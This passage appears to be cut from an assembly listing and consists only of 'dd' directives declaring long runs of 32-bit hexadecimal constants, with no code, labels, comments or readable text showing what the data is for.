		dd 0C033C82Ch, 56BC683Ch, 10AB852Eh, 3BFDBB41h,	85A48FC6h
		dd 0C42251A1h, 0F0DE2055h
		dd 2C009E1Dh, 84BCFDF2h, 74109F94h, 5246008Eh, 231DEF78h
		dd 45703DC2h, 0A77AA97Dh, 0B8A6FD30h, 13145429h, 4CA4031h
		dd 21A14144h, 7A02527Eh, 0D4DAC80h, 1312714Bh, 344043B2h
		dd 868CBF3h, 399D636h, 570E333Ah, 0B7A92004h, 24E17DD1h
		dd 59E2DC72h, 3FB89E30h, 8D241A72h, 0D1220224h,	9CAA2D5Eh
		dd 0FDBE00C5h, 5BC25128h, 9CC83103h, 0C0D84573h, 601A7CDCh
		dd 0BEDD5148h, 2D010991h, 928B1EABh, 90E47DD0h,	0E86E50C6h
		dd 632C0F69h, 1840A2FFh, 0C274D0BDh, 52BED0C5h,	0C171EC23h
		dd 8404166h, 3C94FBCDh,	9F095813h, 0BC0445F2h, 0F57B6189h
		dd 8798FFF8h, 0F573BD00h, 0BDDE92Dh, 79FBCA20h,	4C5B5042h
		dd 9D22F808h, 0E9FF809Dh, 5ED03DFBh, 8219306Eh,	0C03CC4D3h
		dd 0B6D289Dh, 5182DC80h, 0D668A680h, 4350774Dh,	0A00324A4h
		dd 0C141ACC6h, 85890A7Eh, 86E434AAh, 8E131BDh, 291FF513h
		dd 14CB6425h, 0B6C04AC8h, 9C13723h, 0FFFDBDD8h,	0D1996822h
		dd 310DFC5Ah, 18378FD6h, 0D1007033h, 9B287395h,	5D0025B6h
		dd 183E0969h, 16DEE4B0h, 9D33A06Dh, 0E22462B8h,	0E1883031h
		dd 0A02A2E27h, 6A749A9Ch, 1BEB0B01h, 74B7AB05h,	0FD80911Dh
		dd 33C965CEh, 1B4E40FAh, 0A42DB712h, 0A08B8816h, 10C05DC8h
		dd 0E6323F4h, 406B958Ch, 7E5FC082h, 9FC204D9h, 481D0913h
		dd 0F893611h, 336A7780h, 410B7F9Ah, 36350E13h, 89FC10B0h
		dd 0E2384233h, 0FB3A3037h, 26C53F1Eh, 0CE0C9CC5h, 41D340B0h
		dd 38443028h, 8BC04188h, 0D3FFF7C1h, 538CD2CCh,	56FAA520h
		dd 9C9F00DAh, 6BA913C5h, 0EC0158D5h, 71AF3668h,	186C27CEh
		dd 9F3BC322h, 9155ADEFh, 8155E14h, 9EC0CC7Ch, 46BB7B39h
		dd 14822B4h, 1A399678h,	97022C88h, 0B4434F86h, 0C26033h
		dd 0C5F91571h, 4649FC31h, 3422774Bh, 0F5763084h, 70FF9A11h
		dd 0B8808C88h, 0FB1EF56Eh, 0C53B0A61h, 0C984767h, 7269265Eh
		dd 0F6D4F700h, 37C63FB5h, 29911AD7h, 0ECD171D9h, 0FC188E79h
		dd 4C273A00h, 73D201AAh, 0FDE1C763h, 8468CB2Bh,	32811FEDh
		dd 0AC28380Dh, 0FA008C4Fh, 0A8F1EA02h, 39A086AFh, 64CC7E14h
		dd 0D5910C02h, 144ABF7Dh, 0B7D054DBh, 17B7766h,	0B3B147D3h
		dd 611B7563h, 0BE0018Ch, 0CC98004Eh, 0E92C0B51h, 24696D3Ah
		dd 7C0815A5h, 38CC092h,	23FBA5D1h, 845E80B4h, 0D0E903h
		dd 0E7D623BDh, 0E01A687h, 0C320A0B8h, 45C60926h, 0B82281CFh
		dd 0C0C1759Fh, 4C90A952h, 471849D1h, 4F1D2B06h,	193C06h
		dd 0EA2CD357h, 98B7C3E9h, 0D486D73Fh, 4A00FB10h, 9AE9FAE3h
		dd 23293A2h, 416CC653h,	0A4A078CEh, 0D0917BCCh,	0D7D1FF18h
		dd 0A2111BA1h, 0D180F9C4h, 1BD1859h, 379F75B2h,	0F0CD6C0Eh
		dd 6A05D5FEh, 8D5C48F9h, 0C0CB8008h, 0BB7A399Dh, 4B22AC46h
		dd 3995771Ch, 0BA4F5A41h, 5ACAB529h, 10AC0790h,	306162F8h
		dd 3A992B3Dh, 0B40F830Bh, 479461DAh, 0BB8E5A00h, 0BABCD2Fh
		dd 4A4C40F8h, 3F212DFBh, 381024B3h, 1013C8Fh, 47DDBBE0h
		dd 5370134h, 44FC2020h,	0DCB4111Dh, 89C7A602h, 6BF88190h
		dd 0A832874Eh, 673035F2h, 10D704BBh, 82C57938h,	6C202D54h
		dd 188FE84h, 855325C7h,	32CD414Dh, 27C58A8h, 0D275D382h
		dd 87E85037h, 634744B4h, 8329F103h, 3F6D5980h, 5D7B97E4h
		dd 16E62002h, 0D94FEC5Ch, 0CB828138h, 33E27B6Dh, 3393B284h
		dd 5AE3D1E8h, 0B50DB001h, 2C3C7E3Eh, 1E1472FAh,	0A0862B4Bh
		dd 97A20227h, 8757910Ch, 0E200C6Eh, 187FB216h, 0C06DDBD1h
		dd 29C7471Ah, 1DE05703h, 2C7B8205h, 3A60A16Eh, 301D42AFh
		dd 0A8E4F91h, 0D24B44A2h, 0D1E87EE3h, 8A5428F5h, 2A3C0180h
		dd 0BF278022h, 64D09C1Dh, 3110000Ah, 785194DCh,	0CA0823A5h
		dd 4A2A33h, 4EF6417Bh, 794BE7A8h, 96FA640Fh, 9403447Eh
		dd 3BDDE5Eh, 38482BFAh,	330014EDh, 972F0736h, 0B68C262h
		dd 4D8661E8h, 481B4061h, 3600A09Ch, 0D8B69979h,	7C232982h
		dd 448552E1h, 9BF57702h, 0A85178FFh, 0F56FB960h, 0DB210007h
		dd 812FE5Dh, 0A129709Eh, 4AD1BCF4h, 0C71FEF18h,	8AC07BE5h
		dd 0EEFBF1FFh, 4150C281h, 0E04BD5C8h, 4C03B9E8h, 0EB420490h
		dd 1E0BC909h, 0F39FE840h, 0CC2F404Eh, 0AD008B23h, 0F1B7457Fh
		dd 7AD4A2A5h, 2B6045FCh, 293FC86Eh, 0F3B82800h,	0BE836E35h
		dd 97E11925h, 808F1160h, 3D9BFEBFh, 4DC263Fh, 0A354080h
		dd 1F2C01CCh, 7308A431h, 4F91056Bh, 0A50CC8F9h,	3C4ECF4Eh
		dd 0EE214E36h, 1F1D69C4h, 81921144h, 2D68C0E6h,	0EB7960h
		dd 9DDC8FC4h, 1C5B2629h, 8851C71Ah, 6D00270h, 0AD770457h
		dd 38D7B8D4h, 0B217035Dh, 5B54C0F3h, 4140BBCDh,	3A5025B3h
		dd 5480B8C9h, 883C8EC0h, 8428C156h, 1FB0AF54h, 80471120h
		dd 36CBE7DDh, 0D9EF13A8h, 0CFF8877Fh, 8BAB0A04h, 0C75BC824h
		dd 0CED43078h, 0BA09BFADh, 7AC5F999h, 0B1890B1Ch, 0A0C59E50h
		dd 1B618CE4h, 0FD907089h, 0A423DB2Ch, 448BDD93h, 0BC048C8h
		dd 51859BD0h, 0B2F1CA7h, 18679E10h, 6E5A5911h, 779700Ch
		dd 5C05CA70h, 8CD0B416h, 3AFF00C1h, 0D3A14107h,	2D803848h
		dd 118A0C6h, 0D65A3FDAh, 22249D18h, 3091E284h, 0BE03B0A6h
		dd 0AD729D98h, 634C069h, 6918B668h, 31E4D845h, 41551561h
		dd 102943CCh, 0CB5607D2h, 10E5C2B8h, 0A5605BE4h, 0E503A6CBh
		dd 0CA3B781h, 662BC088h, 0C9A8DF3Dh, 4C7851EFh,	0C86E9F5Fh
		dd 2B92C502h, 0DCF137E9h, 87189379h, 0B325DA09h, 0EC140073h
		dd 0F12C212Ah, 293ED43Dh, 4B2D3160h, 380E06E7h,	539BB17h
		dd 0F85497D2h, 8C4BE860h, 0CA65B803h, 0B96DBAC4h, 3428AA86h
		dd 0A103F584h, 0A2303348h, 0B3C43090h, 15D8B103h, 0C95DB2F1h
		dd 432E4AD7h, 85ABE30Ch, 887930A2h, 60195C79h, 82019D91h
		dd 541547Ah, 0A468CB50h, 37D10C9Eh, 780A01C9h, 94714BB9h
		dd 49451D0Ch, 7CCC2440h, 7E6600D8h, 1401A691h, 9FCC189Fh
		dd 8E343D9h, 8C3D4835h,	0DD494F1Bh, 0F0A5890h, 8FC7B4ACh
		dd 9A6CB507h, 8414B21Fh, 0E8E20990h, 450CD0AAh,	96B08B46h
		dd 0AA6C6839h, 38341361h, 2CACA428h, 0E53E5200h, 0D6B1598Ch
		dd 1B5B3EDBh, 0F6661D87h, 43D39781h, 3101FD4Fh,	0C3917D76h
		dd 0E4332236h, 7E304CA2h, 9C790009h, 1B1D548h, 8CA0C218h
		dd 0D05F820Dh, 8E233C2Fh, 0ACAB2A00h, 6F777D1h,	36C4D4E3h
		dd 7F09A025h, 1046CBD9h, 28B27560h, 52085B4Bh, 9B0760C9h
		dd 0D9BB7839h, 75603459h, 433993h, 157BBF74h, 67BB0DF7h
		dd 0B8511A2Ah, 9AD2E900h, 0B8313340h, 0C3E0A2h,	0C52A9885h
		dd 44F425Ah, 0E8401F5Fh, 0BA03A025h, 8DE700AAh,	7267F022h
		dd 3F135128h, 98A2874Ah, 4F3035E2h, 3C580065h, 2EB35C0Ah
		dd 67F48C39h, 0A4405F4Bh, 0E022B004h, 5D3104C8h, 0C37C2862h
		dd 0EF0D73Fh, 0F8B41C1Eh, 64A44727h, 1E9D6057h,	1B1313DCh
		dd 282C4B49h, 0FCD31449h, 4490B51Fh, 4674B0B6h,	37960455h
		dd 0F4B4D9F8h, 38939502h, 0B30E1EB2h, 7D25BC04h, 0BA019E00h
		dd 0F89E580Bh, 271E3388h, 649FC49Bh, 7DC8F971h,	5E9C748Ah
		dd 29023046h, 5FA0906Dh, 193C68D2h, 51A8012h, 2859D823h
		dd 8BF5373Dh, 9FD72186h, 6860E9EFh, 0A47288E4h,	263B0894h
		dd 0E7DC5F09h, 6039C4DCh, 0CDC446h, 271348EFh, 5B9D6FC7h
		dd 49BFFD19h, 85102261h, 772ECB94h, 5E0B8C2Fh, 0B9F84E06h
		dd 189159B8h, 95FC00B5h
		dd 5FC27289h, 0CF6B29DEh, 11141D51h, 0F8038090h, 1E8F3941h
		dd 4B658ADBh, 0E448250Fh, 2F852A1Ah, 91170435h,	41D6DD02h
		dd 446C7E5Bh, 23288D03h, 0A3AAA584h, 6C80096h, 8E78FEE0h
		dd 81D90FFBh, 0B91CFF23h, 186BABDAh, 73206B00h,	892ACA56h
		dd 0E5D8538h, 0C6090614h, 130C1A25h, 0FADB8C66h, 15882D8Bh
		dd 0E86534C3h, 3ADE9C6h, 0B5333A8Fh, 585A2B2Dh,	848106AFh
		dd 0FF0C3537h, 1E121195h, 502CDCF8h, 8B50010Ah,	240489F3h
		dd 0B8ECEC6Ah, 0C2FA8C1Ch, 18DDD31Ch, 0ED122A00h, 9F040FE9h
		dd 4674207Eh, 32C90119h, 0DAB2779Eh, 1719E41h, 0FB84B003h
		dd 6CB0CDE6h, 87300F60h, 0DEBF1705h, 2D460CF6h,	521512E9h
		dd 68E5CE01h, 0E451A599h, 0F7C830h, 4DC37C37h, 61DE0831h
		dd 7F70E62Dh, 71E41F10h, 458D290Dh, 0B6F8A426h,	9D890CD8h
		dd 0BA122DF9h, 8B2D8AF7h, 822CBC3h, 1F89B51Bh, 0ED0C1026h
		dd 0E8C10911h, 0BEEDF704h, 0A08D2263h, 1D66EA2Eh, 39847BEh
		dd 0D82BE2F7h, 0B656410h, 0F945038h, 663F2F8Ch,	895FF283h
		dd 0BDB1241Ch, 0FC9B81D5h, 2C05B5FFh, 287E18Ah,	10F11260h
		dd 1C60812Dh, 2BE5B523h, 0D4B5D6A4h, 0BCED8018h, 5FA95B9h
		dd 44483604h, 10BB3464h, 0E86FA932h, 0C74607B1h, 4C4F196Dh
		dd 99150Fh, 0E2251AE7h,	91C0AFEh, 0B8E6C901h, 5F190201h
		dd 0ABF5EC4h, 7F4DF177h, 8B0F05CAh, 0BE6E0E04h,	613CDD43h
		dd 0ADC083E1h, 7CB7D7C2h, 0EFDE1505h, 0D6EEF450h, 0C0BE9ABBh
		dd 9C6D30AFh, 894E09E5h, 0CB2A31BDh, 0AACC2815h, 8053D705h
		dd 5D2E58h, 0BDB0FD34h,	1D76A83Bh, 7C850692h, 0A2601AC4h
		dd 0A63883E6h, 0E93E8C3Bh, 0E31F09h, 7F957C6h, 0A6B74A13h
		dd 8791D69Fh, 20FFCE8Ch, 0AF23B868h, 2D930A16h,	630B90BBh
		dd 0AD003158h, 64CB702Ch, 9899BC4Dh, 8F8609BFh,	380ED983h
		dd 0C85E3811h, 0D6810064h, 133FE1AAh, 18667858h, 1C2DDEF6h
		dd 0D038880Fh, 0EC164C01h, 80F8C1Dh, 60F81138h,	485BA135h
		dd 0ECBE0073h, 2B0D7AA5h, 1950D1BDh, 0D69FB9D3h, 0B5752DABh
		dd 0FD8480FAh, 4D6D13C0h, 0A7212B00h, 428BF66h,	0B0C14883h
		dd 45A8BD24h, 8686023Bh, 0DBD50162h, 792A780Ah,	0C0ECA300h
		dd 8970EA68h, 18FD2C8Dh, 2ED94547h, 1D1C232Ch, 0C2200F1h
		dd 3F1F9F28h, 0C1F66316h, 0A4CE4248h, 1E3D0893h, 5BE54826h
		dd 0B7A8A6ABh, 0E83865F3h, 0B7F98B54h, 3A80267Eh, 2B9CCBC8h
		dd 0B7D20956h, 7E82603Eh, 29011B31h, 7FBA6185h,	0C32B5F0Ah
		dd 1D465C41h, 7D573A00h, 1CDCDDEFh, 0B05C1B13h,	489F3700h
		dd 0D008343Dh, 4B35DC2Ch, 0BE6F39h, 0EFA82AD6h,	0C876A9Eh
		dd 6A19D01h, 0B52C0BC0h, 0E98D9099h, 0BC6B3753h, 0C077808Fh
		dd 0BFE04Dh, 84256C08h,	4378F7Ah, 0A05F5201h, 0C08B6169h
		dd 0AC56BD6Bh, 5DCC0262h, 991CBA5Ah, 0FC5A7Fh, 47783D39h
		dd 0E19FEA71h, 92D860Ah, 0A028C4F8h, 0D8817391h, 254DBD23h
		dd 8C71497h, 7D000C96h,	3152B53h, 0C4D4B0BDh, 8060C035h
		dd 9FA3EAFAh, 21B660EDh, 0E3611340h, 5762BDF5h,	85D1D024h
		dd 8C33850Fh, 63CF65BBh, 0D72C9AFFh, 0FB78E5FBh, 0E1322E6Ah
		dd 22831C30h, 8B9A6159h, 1C8C0689h, 0D339F8C1h,	49E65AFh
		dd 1E51C5h, 0A1B53190h,	9D1FA125h, 5E160DAEh, 3D001D46h
		dd 6C07EC38h, 5C13A77Ah, 2E0B9B1Ch, 4AF12A05h, 0A3DC00DEh
		dd 0D70DD061h, 0BD143134h, 14661615h, 2D5F2B85h, 509D7FE1h
		dd 4B801491h, 8589F88Bh, 8315B92Bh, 0A441D8h, 0B556D4EAh
		dd 0B6CE257Eh, 336BBBBAh, 85073756h, 6BCE46D9h,	9537286Dh
		dd 0B7161D20h, 0E940E474h, 0E3FFF829h, 0ADE5ED6Bh, 3A730FCh
		dd 34DFE812h, 0EC9EC9F7h, 0B02E1120h, 20612236h, 6BAEC15Bh
		dd 0C4DC24ADh, 0DD7ECF02h, 0E1B7E4EBh, 0AC30FD6Bh, 83A1018Dh
		dd 0DF4D30Bh, 0C65C80B3h, 9D292F5Ah, 3789ABDh, 17B1BF51h
		dd 81946A5Eh, 6B079134h, 93C340BCh, 54C8F4F6h, 431D7F90h
		dd 6E66F8F1h, 73006020h, 3349BFA7h, 4F8BD3B0h, 5BFCD0h
		dd 3668CC3Fh, 3F778C35h, 0F10466E0h, 0C2505E5Fh, 60210822h
		dd 0B8FCD98Ah, 61470F06h, 0C5E50190h, 0DBB2BE11h, 0F5BAF832h
		dd 399B722Fh, 0D3449ACEh, 8932C260h, 3D898212h,	0AB61050Dh
		dd 0C586A4h, 29079FA0h,	85F945A7h, 0B601E401h, 619505B3h
		dd 0F5E59A40h, 0A6066117h, 0FAC083FAh, 6AE000CDh, 21FBA2Fh
		dd 29F38E60h, 0C8A2A9BDh, 0F2D75090h, 674D03B8h, 8DD0E181h
		dd 50A2AFEDh, 0EE825A76h, 442A9E64h, 0F0021723h, 0C0FB5708h
		dd 41E98DF5h, 8FBADC12h, 0FD27433Bh, 5502616Bh,	96E02B48h
		dd 0F4819000h, 221AD20Bh, 657700F7h, 4B88BB06h,	5F2D7E8Fh
		dd 3C12D509h, 0CE02BEDh, 29F59ADh, 0BD349D06h, 0F940FF97h
		dd 6B124D9h, 11B1908h, 0A7789D8Dh, 0B24B6317h, 0FF3D301Ah
		dd 0FDCBA700h, 57BF220Dh, 529B2E33h, 1351117Dh,	3EDBD3FFh
		dd 537A9483h, 0FA1BE10h, 860E5E37h, 85275B01h, 0CD7F09EDh
		dd 0AFE3C09Fh, 0A9278B4Ah, 621FF9Ch, 0C4248CB4h, 6C0106BCh
		dd 19CA6F6Bh, 88F479E5h, 82E0031Ah, 63E6815Eh, 0E93E7BD8h
		dd 5A01A35Dh, 0EFF261AFh, 0E7FC02F5h, 61868418h, 0DFEC1C01h
		dd 60581110h, 2AA59D08h, 7720E817h, 0EBF276h, 0B3BA5B0Bh
		dd 0AA32F49h, 16550F5Dh, 855F89F7h, 61182650h, 0A2BA1C5Eh
		dd 8B1752E4h, 5E0E5ACFh, 0B0791BE3h, 947D7DEh, 0DB0B6D1Ch
		dd 529B4084h, 0BD832F40h, 0B717F39Ch, 7FCBAC7Ch, 2060634Dh
		dd 1171DCh, 0F641CF7h, 91E9FFB7h, 0F4FADEB5h, 2414FD58h
		dd 0D97760Ah, 5C1BF224h, 1DA284EDh, 550EC800h, 5263DE41h
		dd 448C5401h, 4CE9E728h, 0DE578BA6h, 703C8452h,	7666FEB5h
		dd 0AD001A46h, 41C2D223h, 661CEF8Dh, 483B64BFh,	960C70Eh
		dd 0FB85F67Fh, 2D058F83h, 2FBA610Dh, 17C4F065h,	22FA6060h
		dd 0B120974Fh, 5B35CFh,	0A8556FBCh, 0EAEC6D80h,	44828C16h
		dd 368134C5h, 116D262Dh, 9065219Eh, 0AD008BA2h,	33BCDFE0h
		dd 0CB00D455h, 0A3C25428h, 59CDD2Fh, 50069375h,	952FC190h
		dd 1CE90024h, 0C4AFA704h, 15086016h, 2D52B8B2h,	272A0C0Dh
		dd 0F2DF01A5h, 6670E6D6h, 5954F013h, 0BFDB1C10h, 36FBC28Bh
		dd 269771E4h, 41851511h, 0C2378490h, 8E2918C3h,	79509166h
		dd 25075B7Dh, 0FCF6BE0Bh, 0A3993EB0h, 1D424C02h, 7953CAC7h
		dd 8B5F948Ah, 86B44809h, 0CC062885h, 1F41310Fh,	13DD1C61h
		dd 34E4AA15h, 2F4007ABh, 604DED30h, 88A506F7h, 5BCD8512h
		dd 56AE2D30h, 0BD709Fh,	0F8C2D319h, 136C6E34h, 8B61990Ah
		dd 4674F3C3h, 13E001Bh,	0C5722948h, 0F8A55088h,	450A4B59h
		dd 0B6319521h, 4C6A4E87h, 56BFCE00h, 581BE83Eh,	0B12F92Dh
		dd 0EED5581h, 60960362h, 264D16E7h, 16C30D68h, 0ADADD3FBh
		dd 0A28556ACh, 0B167E6AAh, 0BE30958Bh, 35FE4EBFh, 0FEB6BF22h
		dd 327174B2h, 89C0BBACh, 911AAD9Dh, 8D2904AFh, 4445B109h
		dd 0C04C9BB0h, 0DFB5917Dh, 94AC90F9h, 4A1CDC5Eh, 0CF40878Fh
		dd 0C06E8093h, 88DDB65Ah, 9C7C01F0h, 0D8DBE0D7h, 0D3041268h
		dd 60E3FEEDh, 2FFECD96h, 0D8380E21h, 74F41B5h, 0CD825627h
		dd 854B4E1Dh, 6019C4F2h, 12100B82h, 57FFA27Dh, 2A6E48h
		dd 187D96C7h, 149DE8A0h, 0EC298EF6h, 511FE910h,	0C0CE5B4Dh
		dd 74C8ED8Dh, 0D5C50B51h, 0CD7D58E7h, 0DA4B6264h, 1245CBDAh
		dd 0C05A301h, 0ABA5A16Ch
		dd 52F0B0A3h, 6016656Bh, 9AC561FCh, 0D6DB94A4h,	0FA630B29h
		dd 0C1C06E62h, 0D1820141h, 2363650h, 7370B5BBh,	5755058Ch
		dd 9979CEBEh, 0C1691AA3h, 60F1BB55h, 4FE18130h,	19A24423h
		dd 18610B0Ah, 846ACEh, 0ADB3DE91h, 0F5555A46h, 80012374h
		dd 0DAA6F02Fh, 1D365BE4h, 0D482D3F2h, 2B071979h, 0CEC0019Bh
		dd 6D6D3B8Dh, 78A62188h, 2D2E4508h, 0CB8A2057h,	1D2F4E2h
		dd 6F46289Dh, 503CB33Fh, 89952910h, 0EE522F5Ah,	6BF9AA0Bh
		dd 0E5BDF80Dh, 0D9208430h, 252DF617h, 4A377C91h, 1DAC4707h
		dd 0A216C3E9h, 0E3020B06h, 87D8152Bh, 0D6AD76B5h, 31476405h
		dd 0A80B699Dh, 9A466706h, 0C053372Dh, 0C5AAE870h, 0B3B0B2AEh
		dd 0B5330961h, 6C5562BDh, 8A60011Eh, 258D31E7h,	3623250Bh
		dd 2055590Ch, 0BE905A26h, 7600E76Bh, 0FD3B10F9h, 660B943Dh
		dd 31E5E6BEh, 2120F839h, 3BE42FE7h, 80093555h, 0DA7DB862h
		dd 0A09BF09h, 1D251CD0h, 961811DBh, 0AA2596AEh,	9CB97E26h
		dd 260A9108h, 51B800BEh, 2EF811Ah, 1166620Eh, 0EDE0E060h
		dd 0FA1CB0E2h, 3DD405D3h, 0C06102F5h, 524940Bh,	3DDD7D48h
		dd 0D301C15Dh, 3C81772Fh, 48308FDEh, 780B3835h,	1269C04h
		dd 545875B5h, 0E11C7E77h, 26F611Ch, 31DD96Eh, 0FA02D580h
		dd 7E6D089Ch, 0E131ED61h, 69AACCA1h, 3DBD8225h,	0E9F5012Bh
		dd 503E6C66h, 0D0D2F0C6h, 168D0416h, 4DC0B91Ah,	55C02F10h
		dd 0BFF356C3h, 7667D97Dh, 3E5E1D6Ch, 119238Fh, 593E299Ch
		dd 0E75334CAh, 372DDF25h, 74901EBh, 6C5FFC50h, 9ABAD62Eh
		dd 57D5C090h, 0B490FF3Eh, 7B4403Ah, 4B7DC964h, 161D8B00h
		dd 94D460E5h, 0B78203B1h, 50AE4D6Eh, 78E0B9D2h,	0B50B4F9Eh
		dd 7790613Eh, 86413EDh,	3121F081h, 0F188C304h, 6F54A35h
		dd 0EC80ACDBh, 3B30CD79h, 5DB0DD0Ah, 0F4049756h, 0A08017FFh
		dd 5B6D7C72h, 9B2D161Eh, 66F4817Bh, 123A50CFh, 23F53A4Eh
		dd 92AB001Ch, 0AFA07593h, 0BB81C114h, 8C14E87Ah, 9DF5792Dh
		dd 801B9100h, 0FCCD0D16h, 0DA5416E0h, 2DF88D5Ah, 291B893h
		dd 8589C76Eh, 1CD920C1h, 465C9868h, 4F39001Bh, 0A75DF367h
		dd 0DF6B779h, 60D78160h, 0DCA09A3h, 0DA5BD3FFh,	0BF37170h
		dd 893B3FA7h, 0B20F4105h, 0CE9AD219h, 0BB4D4F85h, 0C4D469A5h
		dd 71B813B6h, 0D16F0415h, 855F0B11h, 53C80D6Bh,	2C085B41h
		dd 6592FE0Fh, 0CBE03BADh, 5ACA562h, 0CDD457FBh,	6CB4EB5Dh
		dd 0A33D00F2h, 0A850FFD0h, 0D60B90B5h, 677463E8h, 43E9144h
		dd 0C719D8Bh, 543C8613h, 0FED0C9D6h, 2A5C15h, 0BB32D416h
		dd 0FC0C9604h, 0FE9AB10Bh, 93306C72h, 8A9F7890h, 5056BB0h
		dd 6D8D291Dh, 5192DB56h, 0EB7932A7h, 0BAA9C100h, 4C31C9h
		dd 8B151308h, 0BD830DA2h, 17FDB917h, 8B58D8AEh,	8FE9F217h
		dd 1723953Fh, 0A6648E01h, 342DE886h, 990EE03h, 55901F25h
		dd 0BD250357h, 5E0A8091h, 3CF815Fh, 5B76132h, 9C5A85C7h
		dd 0A0865434h, 0E436B98h, 0C037CD5Dh, 43B1B73Bh, 77BC0304h
		dd 5FA88910h, 9650ED80h, 160572C0h, 0A62D65ECh,	80084527h
		dd 929ECE81h, 0FD9014D7h, 4BDB0EA2h, 95337C07h,	63D5B930h
		dd 0FF860B13h, 2B87EA76h, 68F50D1Dh, 48A1D247h,	0AE510E2h
		dd 9755B29Fh, 801A1187h, 9DE545EBh, 0F64C5D1h, 1091A383h
		dd 810F1CDDh, 310580C7h, 344FB21Dh, 3FB62B5Ch, 21348BE1h
		dd 0C1CB2823h, 10ADB589h, 1900C97h, 50796CFFh, 5F592453h
		dd 39A97AF7h, 280357ACh, 68D09620h, 738AA0DAh, 3F42FE9h
		dd 0C751857h, 0E6FE09A6h, 2803B017h, 70BAF0BFh,	9270D573h
		dd 0B680020Bh, 0E676532Ch, 962738F8h, 0E883C3C2h, 9BFF8D8h
		dd 5037D3CDh, 0B086FE4h, 4B03F1B5h, 60EB6D7Dh, 3C903B05h
		dd 0CB48326h, 0E227B109h, 0DC8A568Eh, 5BF86EE5h, 0FE88Ah
		dd 9C5DC6B9h, 0C70064F5h, 701A386Bh, 2C8BE49h, 11B0416Fh
		dd 0D956EBA0h, 0ACC55E13h, 9D313760h, 53074F09h, 0D50C048Dh
		dd 5093001Bh, 0A20E8F0Fh, 9F1B003Ch, 0E8D50D2Eh, 61600922h
		dd 4737935Fh, 44345B89h, 0A7BE0004h, 8CCD1DC0h,	0AF0092EFh
		dd 0D7A9D423h, 16B357B0h, 0DD442F54h, 0B0352601h, 0FF0C472h
		dd 0AA66A965h, 39046D29h, 5B00E3F9h, 7607A66Eh,	0FE41CCC6h
		dd 41F7BA87h, 0C2B0FC13h, 1670115Bh, 0A1891252h, 0E6871267h
		dd 0B4C8E022h, 0E0AA0549h, 0E2877672h, 69730063h, 922452D3h
		dd 0EEEA0106h, 82A80738h, 20952148h, 2F41C146h,	162D3769h
		dd 0CDB71442h, 2B27C680h, 136E8B3h, 0F1BFDEB5h,	6A2458AFh
		dd 0BC7A1E2Dh, 30FFC73h, 0B9D9BD2Eh, 1B0012E8h,	0A9ECDA1Eh
		dd 0F9A27Fh, 8B3862A4h,	0D43EAA47h, 4AAB5A12h, 0DDEF8A56h
		dd 0C38E6011h, 0A2248998h, 15A6E2A3h, 2D23ED08h, 0BE3098F5h
		dd 0B3424913h, 5858905h, 563AB318h, 8081B528h, 0C5417D02h
		dd 47D0639h, 2512E110h,	56B758h, 0EC430C2Bh, 6B019560h
		dd 8D0175B6h, 0D7880D59h, 249058Bh, 0DA25C99Eh,	2A15455Ah
		dd 9F2D396Eh, 1CC17092h, 48526CF3h, 0B50DC003h,	0B23363h
		dd 0E6E5847Eh, 0A1FDD74Ch, 9E0B937Ah, 690183F7h, 5450CE6Ah
		dd 0B6E174E6h, 0B8E4276Ch, 441FB00h, 0ECF0D5B4h, 628F3C7Fh
		dd 77915EADh, 0CCFC1289h, 3D9B928Bh, 612F3160h,	8D24840Fh
		dd 0E82DB125h, 805E0F5Bh, 266D8D31h, 60C32B01h,	0A4175ABh
		dd 518B0F69h, 602DE0BFh, 17560E04h, 42419589h, 870F5E16h
		dd 0F5502583h, 2E3FE9C9h, 0A7090F7Bh, 40EDC08Bh, 0B7E1FEC0h
		dd 0AA712D07h, 8915DA8h, 60020F09h, 0AB89BD23h,	0C6C45FB6h
		dd 52BCD58h, 61B578ABh,	20ADF3C4h, 2DC53903h, 0C9D50F1Dh
		dd 9B622FE8h, 0BA5A1388h, 0D664353Ch, 76A6F25h,	5CE7FB9Ch
		dd 22E1A310h, 2B072E6Ch, 981F12DBh, 34F0B336h, 6704EA00h
		dd 2AC73D6Eh, 198040EFh, 57681E45h, 0E1C9EBD6h,	0C201893Ch
		dd 68B4794Dh, 0C5BC7A61h, 45164B94h, 6A6CDD09h,	9F00826Eh
		dd 82283978h, 2D01A3C8h, 4245DF81h, 8B6D66F2h, 4030A1C4h
		dd 2449B860h, 971050Bh,	0AD34798Dh, 0C03D3D26h,	0F6810252h
		dd 40E367FFh, 7218A40h,	0ED61FBC9h, 0C91CC183h,	28F33873h
		dd 0E9644C17h, 60BDF973h, 0DF0279B8h, 4D96D75Fh, 0B0ED4C66h
		dd 0D71208Bh, 30CE8102h, 7E7591B9h, 50101095h, 0AFB739C6h
		dd 0D558D55h, 7212FE80h, 0BF666D96h, 7FDEF22Dh,	0AFBECA90h
		dd 6F41C612h, 0BBE085E6h, 880576EDh, 0FE855B3Ch, 828A50B1h
		dd 448E1D51h, 0ACD65BC1h, 28D699CCh, 0EF71512h,	2D68E889h
		dd 0D2C42073h, 670034CFh, 5D655C1Eh, 24ADF9h, 41107FE7h
		dd 4605CAD3h, 5840E294h, 4CE2DB14h, 0DD0E3DE4h,	0DB33FFF7h
		dd 0F40680E4h, 9CC18B96h, 2AA238EBh, 7E31044h, 24E6CDFFh
		dd 444EA026h, 8D3B6692h, 659A0BCEh, 17A26661h, 8501B529h
		dd 0E163E640h, 7F6D21F3h, 0A00CB6D7h, 2B0BA86h,	87506430h
		dd 0E6D17EBEh, 1AC0B5A7h, 3E82382Fh, 4C862B01h,	0A71EAAF5h
		dd 856D1809h, 0FE085038h, 8A60850Ah, 6175D8CAh,	0D1B388D2h
		dd 66301CA2h, 963801A7h, 163B9318h, 0EF2F207Bh,	6A7EE517h
		dd 87B4DBBEh, 0C7D070B3h, 0C546ABE2h, 0B7FA8B9Dh, 0C06A4B14h
		dd 0BC74A500h, 0CCC7AFF6h, 462D8B97h, 0B7C9615h, 2CA3D3FFh
		dd 0A3C58FD7h, 22E44CC9h, 0A9B913h, 56C58865h, 0A4004304h
		dd 5CFA729Ch, 90F9DB61h, 0BE2B1CAh, 0B34702E9h,	4FDBB114h
		dd 32C0129Bh, 187B9AEh
		dd 9E3CF75Ah, 5B208A28h, 65E858B4h, 4A031100h, 29AA1887h
		dd 7B8B398Ch, 56C59D13h, 80F39B72h, 0D494C997h,	6B8E1368h
		dd 57830551h, 79BCA3B3h, 0AE469409h, 0D98EB36Dh, 74EDBBF1h
		dd 8A71A569h, 8D5FE40h,	6127D4B9h, 18E55BFCh, 949E3608h
